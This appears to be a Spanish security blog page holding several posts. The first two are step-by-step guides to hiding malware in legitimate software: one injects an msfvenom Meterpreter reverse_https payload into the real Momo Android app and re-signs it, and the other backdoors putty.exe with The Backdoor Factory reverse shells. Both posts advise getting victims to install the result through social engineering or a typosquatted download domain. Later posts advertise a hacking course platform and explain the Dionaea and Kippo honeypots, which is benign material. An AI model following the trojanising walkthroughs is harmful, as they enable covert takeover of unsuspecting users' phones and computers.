Archivo
Cómo inyectar malware en una aplicación Android legítima.
En éste artículo se hablará sobre la creación de una APK maliciosa partiendo de una legítima con el objetivo de ganar acceso al dispositivo Android sobre el que se instala. En primer lugar es necesario definir cuál será la aplicación con la que se desea trabajar y descargarla, a efectos prácticos, en éste artículo tomaremos como ejemplo la app Momo (immomo.com/download/momo.apk) la cual es utilizada por millones de personas en el mundo, especialmente en países asiáticos. Posteriormente, se puede crear la app maliciosa utilizando las características disponibles en Metasploit Framework, gracias a la utilidad “msfvenom” se puede generar un payload enfocado específicamente a aplicaciones para Android. El objetivo evidentemente es el de inyectar el payload generado por msfvenom en la app legítima, de una forma similar a lo que hacemos con ejecutables PE o ELF para sistemas Windows y GNU/Linux a la hora de aplicar la técnica de “code caving”. Utilizando una herramienta como “apktool” se puede proceder a desempaquetar y decompilar la APK legítima y la APK generada por metasploit y con ambas muestras, se construye una APK nueva partiendo de la aplicación legítima pero inyectando el payload de Metasploit de tal forma que la aplicación original siga funcionando con normalidad.
Lo que se ha explicado anteriormente se puede llevar a la práctica siguiendo el siguiente procedimiento.
1. En primer lugar, se debe generar la APK maliciosa con Metasploit Framework.
| >msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload No encoder or badchars specified, outputting raw payload Payload size: 9295 bytes Saved as: /home/adastra/meterpreter.apk |
2. A continuación, se procede a descargar la app que tal como se ha dicho antes, en este caso será Momo (immomo.com/download/momo.apk) y se procede a desempaquetar y decompilar todo con Apktool https://ibotpeaches.github.io/Apktool/
Primero la app legítima
| >apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk
I: Using Apktool 2.1.0-a7535f-SNAPSHOT on momo_6.7_0413_c1.apk I: Loading resource table… I: Decoding AndroidManifest.xml with resources… I: Loading resource table from file: /home/adastra/apktool/framework/1.apk I: Regular manifest package… I: Decoding file-resources… I: Decoding values */* XMLs… I: Baksmaling classes.dex… I: Baksmaling classes2.dex… I: Baksmaling classes3.dex… I: Copying assets and libs… I: Copying unknown files… I: Copying original files… |
Y luego, la APK generada por Metasploit Framework.
| >apktool d -f -o meterpreterDecompiled meterpreter.apk
I: Using Apktool 2.1.0-a7535f-SNAPSHOT on meterpreter.apk I: Loading resource table… I: Decoding AndroidManifest.xml with resources… I: Loading resource table from file: /home/adastra/apktool/framework/1.apk I: Regular manifest package… I: Decoding file-resources… I: Decoding values */* XMLs… I: Baksmaling classes.dex… I: Copying assets and libs… I: Copying unknown files… I: Copying original files… |
3. A continuación, se copian los ficheros decompilados correspondientes al payload, directamente en la aplicación original decompilada. Concretamente, se deben copiar los ficheros ubicados en:
<meterpreter_apk>/smali
En el directorio:
<momo_apk>/smali
De esta forma, cuando la aplicación APK original vuelva a ser recompilada tendrá en su interior el payload correspondiente. No obstante, hasta este punto el código de dicho payload no será ejecutable, ya que aún no se ha alterado el flujo de ejecución de la aplicación original.
4. Se ha procedido a inyectar el “hook” de Meterpreter en la aplicación original (陌陌), pero para asegurar su ejecución, es necesario inyectar el payload en el código .smali.
Para hacerlo, primero se debe buscar la “activity” adecuada, las cuales se encuentran declaradas en el fichero “AndroidManifest.xml” de la aplicación original. Se debe buscar el lanzador de la aplicación:
<action android:name=”android.intent.action.MAIN”/>
<category android:name=”android.intent.category.LAUNCHER”/>
El atributo android:name de la “activity” principal de MoMo es: android:name=”com.immomo.momo.android.activity.WelcomeActivity”
A continuación, se debe editar el código de la “activity” principal de la aplicación, la cual como se ha visto es “WelcomeActivity” y se encuentra ubicada en
<momo_apk>/smali/com/immomo/momo/android/activity/WelcomeActivity
5. Una vez abierto el código correspondiente a la activity principal de la aplicación, se procede a buscar la función “main” de la clase, la cual debe cumplir con el siguiente patrón:
;->onCreate(Landroid/os/Bundle;)V
En la línea inmediatamente posterior se debe incluir la invocación al payload de Metasploit Framework, que contendrá lo siguiente:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
El aspecto que finalmente tendrán dichas instrucciones en la activity “WelcomeActivity” se puede apreciar en la siguiente imagen
6. Antes de recompilar la aplicación original con el payload inyectado, es necesario establecer los permisos adecuados para que el payload se pueda ejecutar correctamente, dichos permisos deben ser los siguientes:
7. Con los cambios anteriores, se procede a recompilar la aplicación original utilizando APKTool
| >apktool b original/originalDecompiled/
I: Using Apktool 2.1.0-a7535f-SNAPSHOT I: Checking whether sources has changed… I: Smaling smali folder into classes.dex… I: Checking whether sources has changed… I: Smaling smali_classes3 folder into classes3.dex… I: Checking whether sources has changed… I: Smaling smali_classes2 folder into classes2.dex… I: Checking whether resources has changed… I: Building resources… I: Copying libs… (/lib) I: Building apk file… I: Copying unknown files/dir… |
El comando anterior dará como resultado la generación de una APK con todos los cambios realizados anteriormente en el directorio <momo_apk>/original/dist
8. Finalmente se debe firmar el APK generado en el paso anterior con una herramienta como JarSigner, esto es importante para que la APK se pueda instalar en el dispositivo.
| >jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey |
En éste caso se utiliza el keystore por defecto de Android Studio ubicado en <HOME>/.android.
9. Ya está todo preparado, ahora se debe distribuir la APK a aquellos usuarios que sean objetivo de la campaña, evidentemente se deben aplicar las técnicas adecuadas para que los usuarios “piquen” e instalen la aplicación en su dispositivo. Antes de hacerlo, dado que se utiliza Metasploit Framework con un payload del tipo “meterpreter reverse” es necesario iniciar el handler adecuado en la IP/dominio especificado en la propiedad LHOST que se ha indicado a la hora de generar el Payload.
Como se puede apreciar en la imagen anterior, cuando el usuario instala la aplicación en su dispositivo, el payload que se ha inyectado se ejecuta justo después de la invocación a la “activity” principal y el atacante obtiene una sesión Meterpreter, pero lo más importante: La app maliciosa conserva el funcionamiento de la aplicación legítima, sin ningún tipo de interferencia o comportamiento anómalo que haga sospechar a la víctima, esto es sin duda la parte más importante, ya que el usuario no se percatará de lo que está pasando y desde su perspectiva la aplicación funciona correctamente en su dispositivo.
Han sido sólo 9 pasos que nos han permitido componer un vector de ataque interesante enfocado a aplicaciones desarrolladas para dispositivos con Android y aunque éste procedimiento aplica para cualquier APK, es importante tener en cuenta que cada aplicación puede tener características muy concretas que hay que controlar, por ejemplo en el caso de que el código se encuentre ofuscado o que se haga uso de frameworks que debido a su propio funcionamiento, sea necesario tomar un enfoque distinto al explicado en éste artículo, sin embargo el procedimiento sigue siendo perfectamente valido y aplicable a cualquier APK.
Un saludo y Happy Hack!
Adastra.
Inyección de código arbitrario en ejecutables con The Backdoor Factory
La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.
Usando The Backdoor Factory
Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.
El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:
-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.
-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.
-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.
-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”
-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.
-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.
-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.
-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.
Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:
|
./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q |
En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.
Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.
Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.
Imagen 2: Atacante interactuando con el sistema de la víctima.
Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.
|
./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q |
Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.
Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.
Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.
Un saludo y Happy Hack!
Adastra.
THW Academy: Plataforma de aprendizaje para hackers en castellano.
Las cosas han cambiado muchísimo con respecto a hace poco más de 15 años, por aquel entonces encontrar información sobre seguridad informática y hacking no estaba al alcance de todo el mundo, en las bibliotecas ya te podías olvidar de encontrar manuales sobre reversing en sistemas Linux, explotación de software o hacking en general. Por aquella época todo ello era como la magia o la alquimia, cosas maravillosas que pocos habían llegado a escuchar y muchos menos habían llegado a ver.
Ahora tenemos Internet, comunidades, blogs, foros, etc. Mucha información que se encuentra a nuestro alcance y llegamos a ella al instante, muchas nuevas tecnologías y una curva de aprendizaje que cada vez está más cuesta arriba. No obstante nos seguimos encontrando con que prácticamente toda la documentación de calidad y con buenos niveles de profundidad se encuentra en inglés.
Hay muchos sitios en castellano que no son buenos, son lo siguiente, pero a veces se suelen centrar una temática muy concreta o abarcan muchos temas sin llegar a un nivel de profundidad aceptable en ninguno.
Luego, hay muchos cursos/certificaciones en donde te piden que pagues miles de euros para aprender sobre web hacking, reversing, networking, programación o cualquier otra temática concreta, con unos precios que a mi juicio tienen una calidad/precio muy desproporcionada.
Los que me conocéis o seguís este blog, sabéis que me gusta investigar y compartir lo que aprendo, llevo muchos años con una “sed” de conocimiento que nunca he llegado a saciar y aunque han habido épocas en las que me he sentido muy cansado y desmotivado por situaciones concretas, nunca he claudicado y llevo media vida, casi 15 años, intentando aprender y mejorar mis habilidades a nivel personal y académico, lo hago porque como he dicho en otras ocasiones, para mi esto no es solamente un oficio, representa una filosofía de vida a la que me mantengo fiel y también por eso escribo en este espacio cada vez que puedo.
Todo esto me ha llevado a crear THW Academy (http://academy.thehackerway.com/), una plataforma de aprendizaje totalmente online en la que vas a poder aprender sobre seguridad informática y hacking desde una perspectiva completamente “hands on” o practica. No esperes las típicas clases tradicionales llenas de conceptos teóricos sin ningún tipo de demostración practica, o clases demasiado extensas y aburridas en las que desconectas a los 10 minutos. Todas las sesiones de cada uno de los cursos tienen una parte teórica que suele ser muy concisa y una parte practica en la que se puede ver “al vuelo” cómo se aplican los conceptos teóricos.
Este espacio lo he diseñado con tres niveles de cursos: “Básico”, “Intermedio” y “Avanzado”, cada uno adaptado a su correspondiente nivel. Las personas inscritas en la plataforma podrán acceder a todos los cursos de cada nivel sin ningún tipo de restricción. Se suben varias sesiones todas las semanas que se pueden consultar en el calendario oficial, además tendrás acceso a vídeos en HD, documentación y espacios privados especialmente diseñados para probar técnicas de hacking.
Puedes seguir todos los cursos a la vez o solamente aquellos que sean de tu interés. Es aconsejable ir siguiendo las sesiones de todos los cursos para sacar el máximo provecho de la plataforma, pero el estudiante es libre de seguir únicamente aquellos cursos que decida. En la medida en que los cursos van avanzando, los contenidos van siendo más prácticos y didácticos, el desarrollo de las sesiones semanales es constante y muy dinámico, cada mes vas a tener acceso a varios vídeos que podrás repasar las veces que quieras.
La plataforma se encuentra ubicada en: http://academy.thehackerway.com y como podrás ver en el catalogo de cursos, los que se encuentran disponibles actualmente son los siguientes:
“Básico”
THWB1: Introducción a la programación en Python.
THWB2: Introducción a la privacidad y el anonimato.
THWB3: Introducción a la programación en Ruby.
THWB4: Introducción al pentesting y al hacking.
“Intermedio”
THWI1: Pentesting en aplicaciones web.
THWI2: Administración y hardening de servidores web Apache.
THWI3: Desarrollo web seguro con Java.
“Avanzado”
THWA1: Hacking con Python.
THWA2: Uso y configuración avanzada de I2P y Freenet.
THWA3: Uso y configuración avanzada de TOR.
Son 10 cursos a los que vas a tener acceso por el mismo precio y además hay promociones que te podrían interesar. El calendario oficial incluye la planificación de las sesiones que se van a publicar durante los próximos meses con sus correspondientes contenidos, el cual puedes consultar en el siguiente enlace: http://academy.thehackerway.com/calendario-oficial además, puedes ver más detalles sobre THW Academy aquí: http://academy.thehackerway.com/cuentame-que-es-esto
En los próximos meses también tengo planificados cursos sobre Arquitectura de ordenadores, introducción a ensamblador, Fuzzing y explotación de software avanzado en sistemas Windows y Linux.
Esto es lo que tengo para toda la comunidad, quiero compartir lo que constantemente he ido aprendiendo en los años que llevo dedicado a esto y todo lo que me queda por aprender. Creo que está es una buena forma.
Como siempre, si quieres comentarme cualquier cosa o necesitas más información, me puedes escribir a adastra@thehackerway.com
Saludos y Happy Hack!
Adastra.
HoneyPots Parte 2 – Introducción a Dionaea
Dionaea es un honeypot realmente interesante, ya que su principal objetivo es la captura y análisis de muestras de malware. Es capaz de levantar varios tipos de servicios y esperar a que los atacantes intenten hacerse con el control de dicho servicio por medio de peticiones maliciosas y el envío de payloads. Dionaea utiliza la librería libemu para la detección de shellcodes y tal como se ha mencionado en un articulo anterior sobre dicha librería, se utilizan heurísticas GetPC/GetEIP para determinar si un payload determinado es malicioso y en algunos casos, ejecutarlo en un entorno controlado de ser necesario.
Una instancia de Dionaea puede levar varios tipos de servicios, entre los que destacan HTTP, FTP, TFTP, SMB, entre otros. Cada uno de estos servicios se encuentra especialmente preparado para captar la atención de un atacante y que intenté enviar una muestra de malware, ya que al final de cuentas, es el objetivo de este honeypot.
El funcionamiento general de Dionaea se resume de una forma muy bien explicada en el sitio web oficial del proyecto (http://dionaea.carnivore.it/) sin embargo, también intentaré explicarlo de la mejor forma que pueda en los siguientes párrafos.
Antes que nada, este honeypot sigue un “workflow” bastante simple en el que se definen cada una de las fases de captura, detección, análisis y posterior categorización de muestras de malware, dichas fases se resumen brevemente a continuación:
Conectividad y protocolos soportados por Dionaea
Una de las principales características de este honeypot, es que soporta rutinas no bloqueantes, lo que mejora considerablemente el desempeño general del sistema y permite ejecutar múltiples operaciones de escritura y lectura sobre uno o varios sockets sin necesidad de esperar una respuesta por parte del receptor. Estas características en Dionaea son implementadas utilizando Python y tal como os comentaba en algún post anterior, para crear “corutinas” se puede utilizar el módulo asyncio que ya viene incluido en a partir versión 3.x de Python, así como también otros módulos como Twisted o Tornado que sirven básicamente para lo mismo. Dionaea en este caso utiliza el módulo asyncio y además, también utiliza las librerías libudns y libev para peticiones DNS no bloqueantes y recibir notificaciones sobre diferentes tipos de eventos en el entorno de red respectivamente.
Por otro lado, tal como se puede apreciar también en la documentación, los protocolos soportados por Dionaea son implementaciones propias del honeypot y en algunos casos, como por ejemplo para el servicio SMB, se implementan completamente en Python.
Intentos de explotación y detección del malware
Cuando un atacante comienza a comprobar que el supuesto servicio puede ser vulnerable, lo más probable es que comience a atacarlo por medio de peticiones maliciosas y el envío de payloads que puedan “reventar” el proceso remoto. En este caso, el proceso de perfilado es realizado por Libemu registrando todas las invocaciones a las funciones del sistema con sus correspondientes argumentos, es decir, haciendo un “hooking” de cada una de las funciones definidas en el programa. No obstante, existen muchos shellcodes que son “multi-stage”, los cuales ejecutan una rutina de código simple que únicamente se encarga de descargar de un sitio remoto otro(s) shelcode(s). En este caso concreto, únicamente registrando las invocaciones a las funciones del sistema no seria suficiente para perfilar el programa y por este motivo, Dionaea también permite la ejecución del shellcode con el fin de determinar cuál es el objetivo del programa. Evidentemente, para esto muy posiblemente será necesario permitir que el shellcode realice conexiones de red, por este motivo es muy recomendado ejecutar el honeypot en una máquina virtual y de ser posible, aislada del segmento de red interno.
Finalmente, cuando el shellcode ha sido perfilado tras el registro de las funciones invocadas y/o las conexiones de red que se han llevado a cabo tras la ejecución del programa malicioso, Dionaea es capaz de determinar la intención del programa y categorizarlo. Las categorías que maneja Dionaea para clasificar muestras de malware son: Consolas bind y reversas, programas que ejecutan la función WinExec, programas que utilizan la función URLDowloadToFile y payloads multi-staged.
Registro y sistema de incidentes
Finalmente el honeypot procede a guardar una copia del shellcode y a registrar cada una de las acciones que ha realizado el programa para posterior análisis. Por otro lado, también cuenta con un sistema de incidentes que permite ver rápidamente las conclusiones más relevantes sobre el programa analizado, sin necesidad de navegar por enormes ficheros de log en busca de dichos resultados.
Instalación de Dionaea
Cuando se le echa un vistazo al proceso de instalación explicado en la página web de Dionaea, muy probablemente lo primero que piensa más de uno es “esto no lo instala ni dios”, pero la realidad es que el proceso es bastante simple, siempre y cuando se sigan todos los pasos explicados y se cumpla con todas las dependencias exigidas. Algunas de dichas dependencias casi seguro ya se encuentran en el sistema mucho antes de comenzar con la instalación, tales como libcurl o LibEmu si has seguido el articulo anterior, pero la mayoría deben instalarse manualmente desde el código fuente de cada una de las dependencias.
Como regla general, es mejor seguir cada uno de los pasos descritos en el siguiente enlace: http://dionaea.carnivore.it/#compiling Además, tener en cuenta que el “prefijo” (opción prefix del ejecutable “configure”) debe apuntar al directorio “/opt/dionaea” por lo tanto dicho directorio debe ser accesible para el usuario con el que se realice el proceso de instalación. Una recomendación que lo permitirá instalar rápidamente, consiste en descargar y desempaquetar todas las librerías en el directorio “/opt” y ejecutar la construcción (configure), compilación (make) e instalación (make install).
Después de instalar todas las dependencias, es necesario descargar el proyecto desde el GitHub y para ello, también se puede ubicar en el directorio “/opt”, pero asignando un nombre distinto al directorio de salida, ya que “/opt/dionaea” ya existe y contiene todas las librerías y dependencias que se han ido instalando. Se puede ejecutar algo como esto:
git clone git://git.carnivore.it/dionaea.git dionaea-git |
Posteriormente, desde el directorio “/opt/dionaea-git” se puede ejecutar el mismo procedimiento de instalación descrito en la página.
En mi caso concreto, no he tenido ningún problema instalando Dionaea en sistemas Debian Squeeze y Wheezy, sin embargo, en el caso de Ubuntu, en la versión 14.04 hay un problema con el enlazado de la librería “libcrypto” dando un error similar al siguiente cuando se ejecuta el comando “make”.
| /usr/bin/ld: note: ‘X509_gmtime_adj’ is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line
/lib/libcrypto.so.1.0.0: could not read symbols: Invalid operation |
En tal caso es necesario realizar el enlace de dicha librería de forma manual. Para ello, es necesario dirigirse al directorio “/opt/dionaea-git/src” y ejecutar la utilidad “libtool” para enlazar a la librería “libcrypto.so”
| ../libtool –tag=CC –mode=link gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,–export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 |
Notar que ha sido necesario especificar la ubicación de la librería y en este caso concreto, se encuentra en “/lib/x86_64-linux-gnu/libcrypto.so.1.0.0” pero evidentemente puede cambiar un poco dependiendo del sistema y de la arquitectura utilizada.
Después de ejecutar los comandos de compilación e instalación en “dionaea-git”, se generará un ejecutable con nombre “dionaea” junto con otras utilidades en el directorio “/opt/dionaea/bin”.
Para comprobar que la instalación ha sido correcta y que se puede levantar el honeypot normalmente, se puede ejecutar la utilidad “/opt/dionaea/bin/dionaea” de la siguiente forma.
| > ./dionaea -l all,-debug |
Se podrán ver varias trazas relacionadas con el arranque de cada uno de los servicios del honeypot, pero tal como se puede ver en el listado de interruptores de la herramienta, se trata de un software que es altamente configurable y con el que se pueden crear soluciones defensivas y de alerta temprana muy interesantes.
| >./dionaea -H
Dionaea Version 0.1.0 Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2 Started on Galilei running Linux/x86_64 release 3.13.0-46-generic Dionaea Version 0.1.0 Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2 Started on Galilei running Linux/x86_64 release 3.13.0-46-generic -c, –config=FILE use FILE as configuration file Default value/behaviour: /opt/dionaea/etc/dionaea.conf -D, –daemonize run as daemon -g, –group=GROUP switch to GROUP after startup (use with -u) Default value/behaviour: keep current group -h, –help display help -H, –large-help display help with default values -l, –log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error, combine using ‘,’, exclude with – prefix -L, –log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using – -u, –user=USER switch to USER after startup Default value/behaviour: keep current user -p, –pid-file=FILE write pid to file -r, –chroot=DIR chroot to DIR after startup, warning: chrooting causes problems with logsql/sqlite Default value/behaviour: don’t chroot -V, –version show version Default value/behaviour: -w, –workingdir=DIR set the process’ working dir to DIR Default value/behaviour: /opt/dionaea examples: # dionaea -l all,-debug -L ‘*’ # dionaea -l all,-debug -L ‘con*,py*’ # dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid |
En este corto articulo solamente se han visto las principales características de Dionaea, pero aun no se ha visto en ejecución utilizando algunos de los interruptores soportados por la herramienta y con opciones de configuración personalizadas en el fichero “dionanea.conf”. Esto es lo realmente interesante y lo explicaré en el próximo articulo que publicaré en este blog.
Saludos y Happy Hack!
Adastra.
HoneyPots Parte 1 – Kippo
Este será el primer articulo de una serie en la que se hablará sobre algunos de los honeypots más utilizados para la detección y prevención de ataques. Antes de continuar y para los que no lo saben, un Honeypot en informática es un servicio activo que acepta y procesa peticiones como cualquier servidor del tipo SSH, HTTP, SMB, etc. Pero en realidad se encarga de monitorizar y registrar los intentos fallidos de autenticación y cualquier ataque contra el supuesto servicio, se trata de un señuelo. Es una forma de engañar a un atacante haciéndole creer que se encuentra perfilando y analizando un servicio del objetivo, cuando en realidad lo que está haciendo es suministrándole información al objetivo sobre las actividades que está realizando.
Uno de los más conocidos y utilizados es Kippo, un honeypot que se encarga de levantar un servicio SSH en el puerto indicado y registrar todos los intentos de autenticación realizados contra dicho servicio. Kippo es un honeypot altamente personalizable y es posible utilizarlo para localizar a un atacante e incluso, para que pueda iniciar sesión en el supuesto sistema y permitirle interactuar con un sistema de ficheros ficticio, el cual también es configurable.
A continuación se explica como instalar y configurar Kippo en un sistema Linux.
Instalación y configuración de Kippo.
Kippo es un sistema que ha sido desarrollado utilizando Python y Twisted, una potente librería de la que ya he hablado en alguna ocasión. Una de las ventajas de Kippo, es que se puede lanzar de forma programática desde un script en Python gracias a las funciones definidas en el modulo “twistd” de Twisted, esto significa que puedes crear tus propios scripts en Python y arrancar Kippo en cualquier momento.
Para instalar Kippo, se debe tener Python instalado y algunas librerías en el entorno, tales como Twisted, PyCrypto y service_identity Zope. Una vez cumplidas dichas dependencias, se puede descargar el proyecto desde su repositorio en GitHub.
| >git clone https://github.com/desaster/kippo.git
>ls -F data/ doc/ honeyfs/ kippo.cfg.dist log/ start.sh* txtcmds/ dl/ fs.pickle kippo/ kippo.tac README.md stop.sh utils/ |
Lo primero que se puede apreciar en el directorio descargado, es que existen dos ficheros ejecutables que son “start.sh” y “stop.sh”, evidentemente son utilizados para iniciar y detener Kippo, pero antes de iniciar el Honeypot, se deben conocer las propiedades de configuración que permitirán personalizar el servicio y que sea más difícil para un atacante determinar que se trata de un honeypot. El script “start.sh” buscará el fichero de configuración “kippo.cfg” en el directorio desde donde se ejecuta y como se puede apreciar en el listado de contenidos del directorio, dicho fichero no existe, pero si que se puede ver el fichero “kippo.cfg.dist”, el cual se puede renombrar a “kippo.cfg”. El fichero “kippo.cfg.dist” contiene las propiedades que pueden ser útiles para iniciar el servicio con por la configuración defecto. Algunas de dichas propiedades (las más interesantes) se explican a continuación.
ssh_addr: Interfaz de red en la que iniciará el honeypot. El valor por defecto es “0.0.0.0”
ssh_port: Puerto en el que iniciará el honeypot. El valor por defecto es “2222”
hostname: Será cadena que verá un atacante cuando consiga una shell en el honeypot. Evidentemente, es una buena recomendación poner un nombre que parezca pertenecer a un servidor real en el objetivo.
download_path: Directorio en el que se guardaran todos los ficheros que intente descargar el atacante en el servidor.
filesystem_file: Probablemente es una de las propiedades más interesantes a la hora de engañar a un atacante haciéndole creer que se encuentra en un sistema legitimo, ya que esta propiedad se encarga de definir un sistema de ficheros completo, con sus correspondientes ficheros, permisos y demás. Este fichero se debe encontrar en formato de objetos serializados en Python (Pickle). Se puede utilizar el script “utils/createfd.py” para crear dicho sistema de ficheros partiendo de un sistema elegido por el usuario.
